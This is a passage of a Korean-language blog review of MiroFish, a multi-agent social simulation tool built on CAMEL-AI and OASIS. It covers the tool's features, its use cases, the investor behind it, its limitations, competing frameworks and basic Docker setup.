에이전트들은 포스팅, 댓글, 리포스트, 좋아요, 팔로우, 뮤트, 검색 등 OASIS 프레임워크에서 정의한 23가지 소셜 액션을 자유롭게 수행한다. 추천 알고리즘(관심사 기반, 인기도 기반)이 적용되어 콘텐츠 발견 방식도 현실과 유사하게 시뮬레이션된다.

왜 두 개의 플랫폼인가?

트위터형은 정보 확산 패턴(바이럴, 인플루언서 영향력)을, 레딧형은 깊은 토론과 합의 형성 패턴(쓰레드 토론, 투표, 커뮤니티 편향)을 포착한다. 두 플랫폼의 결과를 교차 분석하면 단일 플랫폼보다 더 다양한 사회적 역학을 관찰할 수 있다.

ex) 내가 실습했던 실제 결과물

4단계: 보고서 생성 (Report Generation)

전용 ReportAgent가 ReACT(Reasoning + Acting) 패턴을 사용해 시뮬레이션 결과를 분석한다. 지식 그래프를 쿼리하고, 시뮬레이션 속 에이전트들을 인터뷰하고, 인사이트를 종합해 구조화된 마크다운 보고서를 생성한다.

ex) 내가 실습했던 실제 결과물

5단계: 심층 인터랙션 (Deep Interaction)

시뮬레이션이 끝난 후, 사용자가 시뮬레이션 안의 어떤 에이전트와도 1:1로 대화할 수 있다. "너는 왜 그때 의견을 바꿨어?"라고 물으면, 에이전트가 자기 기억을 바탕으로 답한다. ReportAgent에게 추가 질문을 하는 것도 가능하다.

ex) 내가 실습했던 실제 결과물

4. 학술적 기반: CAMEL-AI와 OASIS

MiroFish는 독립적으로 시뮬레이션 엔진을 만든 것이 아니다. CAMEL-AI → OASIS → MiroFish라는 학술-오픈소스 체인 위에 구축되어 있다.

CAMEL-AI 프레임워크

CAMEL(Communicative Agents for "Mind" Exploration of Large Language Model Society)은 멀티 에이전트 프레임워크로, NeurIPS 2023에서 발표되었다.

핵심 기법 — Inception Prompting: AI 어시스턴트와 AI 사용자가 서로에게 프롬프트를 주고받으며 자동으로 작업을 완수하는 역할극(Role-Playing) 메커니즘
설계 원칙 (GitHub README 기준): 진화 가능성(Evolvability), 확장성(Scalability), 상태 유지(Statefulness), 코드를 프롬프트로(Code-as-Prompt)
GitHub: camel-ai/camel — 16,400 스타 (2026년 3월 18일 기준), Apache 2.0

(출처: arXiv:2303.17760, NeurIPS 2023 Proceedings, GitHub README)

OASIS: 100만 에이전트 시뮬레이션

OASIS(Open Agent Social Interaction Simulations)는 CAMEL-AI 커뮤니티가 개발한 소셜 미디어 시뮬레이터다.

규모: 최대 100만 에이전트 동시 시뮬레이션 지원
소셜 액션: 23가지 (팔로우, 댓글, 리포스트, 좋아요, 뮤트, 검색 등)
5가지 핵심 컴포넌트: Environment Server, RecSys(추천 알고리즘), Agent Module, Time Engine, Scalable Inferencer
재현된 사회 현상: 정보 확산, 집단 극화(group polarization), 군중 효과(herd effects)
GitHub: camel-ai/oasis — 3,400 스타 (2026년 3월 18일 기준), Apache 2.0

(출처: arXiv:2411.11581, "OASIS: Open Agent Social Interaction Simulations with One Million Agents", 2024년 11월)

기술 스택 정리

컴포넌트	기술
백엔드	Python 3.11-3.12, Flask Blueprints
프론트엔드	Vue.js 3 + Vite 7, Node.js 18+
시뮬레이션 엔진	OASIS (CAMEL-AI)
지식 그래프	Zep Cloud 기반 엔터티-관계 추출
에이전트 메모리	Zep Cloud (장기 기억 관리)
LLM	OpenAI SDK 호환 API (Qwen-Plus 권장)
인프라	Docker, Docker Compose
패키지 관리	uv (Python), npm (Node)

5. God's Eye View: 시뮬레이션 중 변수 주입

MiroFish의 가장 흥미로운 기능은 "신의 눈(God's Eye View)"이다. 시뮬레이션이 돌아가는 중간에 새로운 변수를 주입할 수 있다.

예를 들어:

"만약 미국이 관세를 올리면?"
"만약 CEO가 갑자기 사임하면?"
"만약 경쟁사가 먼저 제품을 출시하면?"
"만약 금리를 0.5%p 인상하면?"

변수를 주입하면 수천 명의 가상 인간이 실시간으로 반응한다. 여론이 바뀌고, 새로운 연합이 생기고, 예상 못 한 패턴이 나타난다. 현실에서는 "미리 실험해볼 수 없는" What-if 시나리오를 디지털 세계에서 반복 실행할 수 있다는 것이 핵심 가치이다.

주의: 예측이 아니라 시나리오 탐색

MiroFish 팀에서도 강조하는 부분이다. 이 도구는 "정확한 답을 주는 예측기"가 아니라, "놓칠 수 있는 가능성을 표면화해주는 시나리오 탐색 도구"로 보는 것이 적절하다. 시뮬레이션 결과를 실제 결과와 비교한 벤치마크는 아직 공개되지 않았다.

6. 실제 사용 사례

홍루몽: 200년 된 문학 미스터리

중국 4대 고전소설 홍루몽의 원작자 조설근이 쓴 것은 80회까지다. 나머지 40회는 다른 사람이 이어 썼으며, "진짜 결말은 뭐였을까"가 200년 넘게 논쟁거리다.

MiroFish에 앞 80회를 통째로 입력했다. 등장인물마다 원작의 성격을 반영한 가상 인간을 생성하고 시뮬레이션을 돌려, 잃어버린 결말의 여러 가능성을 도출했다. 해당 빌리빌리 데모 영상은 21만 뷰 이상(2026년 3월 기준)을 기록했다.

(출처: Bilibili 홍루몽 데모)

금융 시장 시뮬레이션

부정적 뉴스 + 애널리스트 리포트를 시드로 입력하면, 개인 투자자·기관 투자자·금융 미디어 등 각 주체가 30일간 어떻게 차별적으로 반응하는지를 시뮬레이션한다. 합병, 금융 정책 변경, 기업 실적 발표 같은 이벤트에 따른 시장 연쇄 반응을 탐색할 수 있다.

가상 시나리오 예시: "연준이 금리를 인상한다"는 시드를 넣으면, 개인 투자자 에이전트 중 상당수가 매도 반응을 보이고, 기관 투자자 에이전트는 섹터별로 다른 반응을 보이며, 금융 미디어 에이전트가 이를 증폭하는 패턴이 관찰될 수 있다. 이런 역학 구조를 사전에 파악하는 것이 시뮬레이션의 가치다. (이는 가상의 예시이며, 실제 시뮬레이션 결과는 시드 자료와 에이전트 설정에 따라 달라진다.)

검증되지 않은 트레이딩 주장에 대해

한 X(트위터) 사용자가 MiroFish를 Polymarket 트레이딩 봇에 연결해 338건의 거래에서 $4,266의 수익을 올렸다고 주장했다. 그러나 이는 단일 사용자의 미검증 주장이며, MiroFish 팀이 공식적으로 확인하거나 재현한 결과가 아니다. 금융 투자에 MiroFish를 직접 활용하는 것은 상당한 위험이 수반된다.

여론 예측

기업의 PR 위기 대응, 마케팅 캠페인 사전 테스트, 정책 발표 전 여론 예측 등에도 활용 가능하다. 예를 들어 새로운 정책을 발표하기 전, 수천 명의 가상 시민이 어떻게 반응하는지를 미리 시뮬레이션해서 메시지 전략을 조정할 수 있다.

누가 써야 하나?

MiroFish는 다음과 같은 사람에게 유용하다: 정책 분석가(정책 발표 전 여론 시뮬레이션), PR/마케팅 팀(캠페인 사전 테스트, 위기 대응 연습), 시나리오 플래너(전략 기획의 What-if 분석), 연구자(사회 현상 시뮬레이션), 창작자(소설/시나리오의 캐릭터 역학 탐색). 정확한 예측이 필요한 트레이더보다는, 놓친 시나리오가 있는지 확인하고 싶은 의사결정자에게 맞는 도구다.

이런 가능성에 가장 먼저 베팅한 사람이 있다. 중국 인터넷 산업의 전설적인 인물, 천톈차오다.

7. 천톈차오와 "슈퍼 개인" 시대

천톈차오는 누구인가

천톈차오는 1999년 상하이에서 $60,000로 성다(Shanda)를 창업했다. 2001년 한국 게임 '미르의 전설 2' 중국 판권을 마지막 $300,000으로 구매한 것이 대박을 쳐서, 2004년 31세에 후룬 부호 리스트 2위에 올랐다. 당시 성다는 시가총액 기준 중국 최대 인터넷 기업이었다.

2012년 성다를 비공개 기업으로 전환한 뒤, 글로벌 투자 회사로 변신시켰다. 미국 실리콘밸리(멘로파크)에 거주하며, 뇌과학 연구에 10억 달러를 기부하고, 2025년에는 AI 연구에도 대규모 투자를 확대하고 있다.

(출처: Wikipedia, Shanda 공식 프로필)

슈퍼 개인 이론

천톈차오는 2025~2026년 사이 "관리학의 황혼과 지능의 여명 — 기업의 생물학적 유전자를 다시 쓰다"라는 에세이를 발표해 큰 반향을 일으켰다. 이 글의 핵심 주제가 바로 "슈퍼 개인"이다.

핵심 주장:

전통 경영학은 인간의 인지적 한계를 보정하는 "교정 시스템"이다. AI 에이전트가 실행을 대신하면 이 시스템의 근거가 무너진다.
슈퍼 개인은 만능인이 아니다. "의지(Will)"와 "신용(Credit)"으로 세계 최고의 외부 두뇌를 집결시키는 "궁극의 지렛대 사용자"다. 쉽게 말해, 한 사람이 AI 에이전트 수천 개를 지휘해서 기업 하나 분량의 일을 해내는 것이다.
슈퍼 개인이 하는 일은 두 가지뿐: (1) 대담한 전략적 선택(Prompt), (2) 전적인 책임(Ownership)
공식: 책임 = 지렛대 받침점, AI 실행 = 팔 길이, 인간의 선택 = 가해지는 힘

궈항장이 혼자서 MiroFish를 만들 수 있었던 것은 CAMEL-AI/OASIS라는 "외부 두뇌"를 지렛대로 사용했기 때문이다. 이것이 바로 천톈차오가 말하는 슈퍼 개인의 구조다.

(출처: EET-China 원문, 타이미디어(TMTPost))

24시간 만에 결정된 투자

천톈차오는 BettaFish가 GitHub 트렌딩에 오른 것을 보고 궈항장을 인턴으로 초빙했다. "하고 싶은 거 해봐"라고 자유를 줬고, 궈항장은 10일 만에 MiroFish를 완성했다.

완성한 그날 밤, 데모 영상을 촬영해서 천톈차오에게 보여줬다. 24시간 안에 3,000만 위안(약 60억 원) 투자가 결정되었다. 인턴이 하룻밤 만에 CEO가 된 것이다. MiroFish 프로젝트는 현재 성다그룹의 전략적 지원과 인큐베이션 아래 운영되고 있다.

(출처: 36kr, PANews, TMTPost)

궈항장을 보는 천톈차오의 시각

"이 새로운 AI 시대에, 이런 젊은 AI 인재들의 성공을 내 자신의 재도약의 가장 중요한 지표로 삼겠다."
천톈차오가 약 60억 원(3,000만 위안)을 건 건 소프트웨어가 아니라, "슈퍼 개인의 시대가 이미 시작됐다"는 믿음에 건 것이다.

8. 한계점과 주의사항

MiroFish의 가능성을 제대로 보려면 한계도 같이 봐야 한다. 학술 논문에서 밝혀진 구조적 문제와 실무적 제약을 정리한다.

학술적으로 밝혀진 한계

1. LLM 편향의 유전

EMNLP 2024에서 발표된 "Systematic Biases in LLM Simulations of Debates" 논문에 따르면, LLM 에이전트는 어떤 정치적 입장을 부여받든 모델 자체의 내재된 사회적 편향에 수렴한다. Mistral 7B, Solar 10.7B, Instruct-GPT를 테스트한 결과, 테스트한 4개 주제 중 3개에서 민주당(진보적) 관점으로 수렴하는 경향이 관찰되었다. 즉, 에이전트의 다양성이 충분하지 않을 수 있다.

(출처: ACL Anthology - EMNLP 2024)

2. 군중 행동과 다수결의 횡포

멀티 에이전트 토론의 실패 모드를 분석한 여러 연구들에 따르면:

사고의 퇴화(Degeneration of Thought): 에이전트들이 초기의 그럴듯하지만 틀린 추론 경로에 집단적으로 갇힘
다수결의 횡포(Tyranny of the Majority): 다수가 같은 답을 제시하면 소수 에이전트도 동조하여 에코 챔버가 형성됨
과잉 확신 합의(Overconfident Consensus): 비슷한 능력의 모델을 사용하면 정적인 토론으로 다수 의견에 수렴
약한 에이전트의 오염(Weaker Agent Contamination): 성능 낮은 에이전트가 올바른 답을 오염시킬 수 있음

(출처: arXiv:2503.13657 "Why Do Multi-Agent LLM Systems Fail?", arXiv 2025; arXiv:2305.19118 "Encouraging Divergent Thinking in Large Language Models through Multi-Agent Debate", EMNLP 2024 등 다수 논문)

3. 분포의 협소함과 취약 집단 과소대표

2024년 12월 발표된 서베이 논문 "From Individual to Society"에 따르면, LLM은 부유하고, 젊고, 정치적으로 진보적인 WEIRD 국가 개인의 의견을 과잉 대표한다. 고령자, 소수민족, 비서구권 문화는 훈련 데이터에 과소 대표되어 해당 집단의 시뮬레이션이 신뢰하기 어렵다.

(출처: arXiv:2412.03563)

실무적 한계

한계	설명
벤치마크 부재	시뮬레이션 결과를 실제 결과와 비교한 검증 데이터가 공개되지 않았다. 데모는 "이런 게 된다"는 시연이지, "이게 맞다"는 증거가 아니다.
API 비용	소규모(200 에이전트, 15라운드): ~$5. 일반적(800-1,200 에이전트, 30-50라운드): $5-25. 대규모 시뮬레이션은 상당한 비용이 발생한다. README에서도 "소모가 크니 주의하라"고 경고하고, 첫 시도는 40라운드 미만을 권장한다.
솔로 개발	219개 커밋 중 218개가 1인 기여. 32,700 스타에 비해 장기 유지보수성과 코드 품질에 대한 물음이 있다. 다만 최근 보안 강화 PR(#228-232)을 통해 XSS 방지, path traversal 차단, Docker 보안 강화, traceback 노출 제거 등이 이루어지며 성숙도가 개선되고 있다. 현재 v0.1.2의 초기 단계다.
학술 논문 부재	기반 기술인 CAMEL-AI(NeurIPS 2023)와 OASIS(arXiv 2024)는 학술적으로 검증되었으나, MiroFish 자체의 피어리뷰 논문은 없다.

9. 경쟁 프레임워크 비교

MiroFish가 속한 멀티 에이전트 시뮬레이션 생태계는 지금 꽤 붐비다.

프레임워크	초점	GitHub 스타	학술 검증
CAMEL-AI	에이전트 스케일링 법칙, 역할극	16.4K	NeurIPS 2023
Generative Agents (Stanford)	가상 타운 시뮬레이션 (25 에이전트)	~21K	UIST 2023 (Best Paper)
MetaGPT	소프트웨어 개발 팀 시뮬레이션	65K+	ICLR 2024 (Oral)
AutoGen (Microsoft)*	대화형 멀티 에이전트	55K+	COLM 2024
CrewAI	프로덕션 워크플로우	46K+	-
AgentSociety (칭화대)	사회 시뮬레이션 (감정/인지)	-	arXiv 2025/02
OWL (CAMEL-AI)	멀티 에이전트 협업, GAIA 벤치마크 오픈소스 1위	19.2K	NeurIPS 2025
OpenAI Agents SDK	프로덕션 에이전트 (Handoff 기반)	-	-
Google ADK	A2A 네이티브 멀티모달 에이전트	-	-
MiroFish	집단 지능 예측 (OASIS 기반)	~32.7K	없음 (기반 OASIS는 검증됨)

* Microsoft는 2026년 2월 AutoGen과 Semantic Kernel을 통합한 Microsoft Agent Framework RC 1.0을 발표했다. 엔터프라이즈 에이전트 시장의 통합 움직임을 보여주는 신호다.

스타 수는 2026년 3월 18일 GitHub API 기준. OpenAI Agents SDK와 Google ADK는 공식 SDK 내 포함으로 별도 스타 수 미집계.

카테고리를 구분해서 봐야 한다

위 표의 프레임워크들은 크게 두 카테고리로 나뉜다:

작업 자동화 프레임워크 (MetaGPT, AutoGen, CrewAI, OpenAI Agents SDK, Google ADK): 에이전트가 실제 작업을 수행한다. 코드를 짜고, API를 호출하고, 워크플로우를 실행한다.
사회 시뮬레이션 엔진 (OASIS, Generative Agents, AgentSociety, MiroFish): 에이전트가 사회적 역학을 재현한다. 대화하고, 논쟁하고, 여론을 형성한다.

MiroFish는 후자에 속하면서, "문서 → 에이전트 자동 생성 → 듀얼 플랫폼 시뮬레이션 → God's Eye View 변수 주입"이라는 End-to-End 파이프라인을 갖춘 유일한 도구다. 같은 CAMEL-AI 생태계에서 나온 OWL(작업 자동화 1위)과 MiroFish(사회 시뮬레이션)가 시너지를 이루는 구조도 주목할 만하다.

10. 커뮤니티 반응과 파생 프로젝트

글로벌 반응

2026년 3월 7일 GitHub 글로벌 트렌딩 1위를 달성한 이후, 출시 며칠 만에 18,000 스타를 돌파한 뒤 현재 32,700+까지 성장했다. OpenAI, Google, Microsoft의 리포지토리를 제치고 1위를 차지했다.

중국 미디어(36kr, 타이미디어, 시나, 펑황왕, 왕이 등)에서 대규모 보도
영어권 미디어(Medium Agent Native, DEV Community, ByteIota, Apidog, NewsBytesApp 등)에서도 확산
X(트위터)에서 Brian Roemmele 등 테크 커뮤니티 인플루언서들이 확산. Brian Roemmele는 "Zero-Human Company"라는 비전 아래 실제 비즈니스 예측에 MiroFish를 도입, 50만 에이전트 시뮬레이션을 실행했다고 보고
X Community가 생성되어 초기 바이럴 이후 지속적인 커뮤니티 형성이 진행 중
Substack에서 "MiroFish, or the Mirror That Thinks"라는 비평 에세이가 발표되어, 비결정론적 LLM 시뮬레이션의 근본적 모순(같은 시드로 같은 결과가 나오지 않는 문제)을 지적 — 균형 잡힌 비판적 시각도 형성 중

활발한 개발 동향

초기 바이럴에 그치지 않고 실질적인 기능 확장이 이어지고 있다 (2026년 3월 기준 122개 오픈 이슈):

Mem0 메모리 프로바이더 (#227): Zep Cloud 외에 대체 메모리 제공자 지원
OpenRouter 폴백 (#222): 다양한 LLM 백엔드 간 자동 전환
Neo4j/Graphiti 그래프 지원 (#235): 지식 그래프 백엔드 다변화
보안 강화 (#228-232): XSS 방지, path traversal 차단, Docker 보안, traceback 노출 제거

한국어 포크: MiroFish-Ko

ByeongkiJeong이 만든 MiroFish-Ko는 MiroFish의 비공식 한국어 버전이다. 한국어 UI와 문서를 제공하여, 한국어권 사용자가 더 쉽게 접근할 수 있다.

오프라인 포크: MiroFish-Offline

MiroFish-Offline(~780 스타, ~180 포크 (2026년 3월 20일 기준, 급속 성장 중))은 클라우드 API 없이 완전히 로컬에서 실행되는 포크다. Zep Cloud 대신 Neo4j를, LLM API 대신 Ollama를 사용한다. 영어 UI를 제공하여 글로벌 사용자가 로컬 환경에서 쉽게 시작할 수 있다.

11. 설치 및 시작하기

필수 요구사항

Python 3.11-3.12
Node.js 18+
Docker & Docker Compose
OpenAI SDK 호환 LLM API 키 (Alibaba DashScope의 Qwen-Plus 권장)
Zep Cloud API 키 (에이전트 장기 기억용)

환경 변수 설정

# .env 파일 설정
LLM_API_KEY=your_api_key_here
LLM_BASE_URL=https://dashscope.aliyuncs.com/compatible-mode/v1
LLM_MODEL_NAME=qwen-plus
ZEP_API_KEY=your_zep_api_key_here

Docker로 시작하기

# 리포지토리 클론
git clone https://github.com/666ghj/MiroFish.git
cd MiroFish

# Docker Compose로 실행
docker-compose up -d

비용 관리 팁

첫 시뮬레이션은 40라운드 미만으로 시작한다 (README 공식 권장)
에이전트 수를 200~500으로 설정해 비용을 관리한다
비용이 부담되면 MiroFish-Offline 포크를 사용해 Ollama로 로컬 실행할 수 있다

12. 결론

MiroFish는 "2026년에 혼자서 이런 걸 만들 수 있다"는 걸 증명한 프로젝트다. 학술적으로 검증된 CAMEL-AI(NeurIPS 2023)와 OASIS(arXiv 2024) 기반 위에, 직관적인 UX와 5단계 파이프라인을 얹어 "누구나 집단 지능 시뮬레이션을 돌릴 수 있는" 도구를 만들었다.

핵심 요약

무엇인가: 문서에서 수천 명의 가상 인간을 생성하고, 듀얼 소셜 플랫폼에서 시뮬레이션하여 시나리오를 탐색하는 집단 지능 엔진
기술 기반: CAMEL-AI(NeurIPS 2023) → OASIS(100만 에이전트) → MiroFish
차별화: God's Eye View(변수 주입), 듀얼 플랫폼 시뮬레이션, 에이전트와의 1:1 대화
주의: 예측 정확도 벤치마크 미공개, LLM 편향 유전, API 비용, 초기 버전(v0.1.2)
의미: "슈퍼 개인" 시대의 상징 — 00후 대학생이 10일 만에, 학술 오픈소스 위에 서서 세계적 도구를 만들었다

MiroFish가 "정확한 예측기"인지는 아직 증명되지 않았다. 하지만 "혼자서는 생각 못 했을 시나리오를 표면화해주는 도구"로서의 가치는 이미 증명 중이다. 정확한 답을 기대하기보다, 놓쳤을 가능성을 건져내는 도구로 쓰는 게 지금 단계에서는 맞는 방식이다.

참고 자료

MiroFish GitHub: github.com/666ghj/MiroFish
라이브 데모: 666ghj.github.io/mirofish-demo
한국어 포크: ByeongkiJeong/MiroFish-Ko
OASIS 논문: arXiv:2411.11581
CAMEL-AI 논문: arXiv:2303.17760
홍루몽 데모: Bilibili
36kr 기사: 00후 청년 개발자의 10일 AI 프로그래밍
천톈차오 슈퍼 개인 에세이: 관리학의 황혼이 왔다 (원문)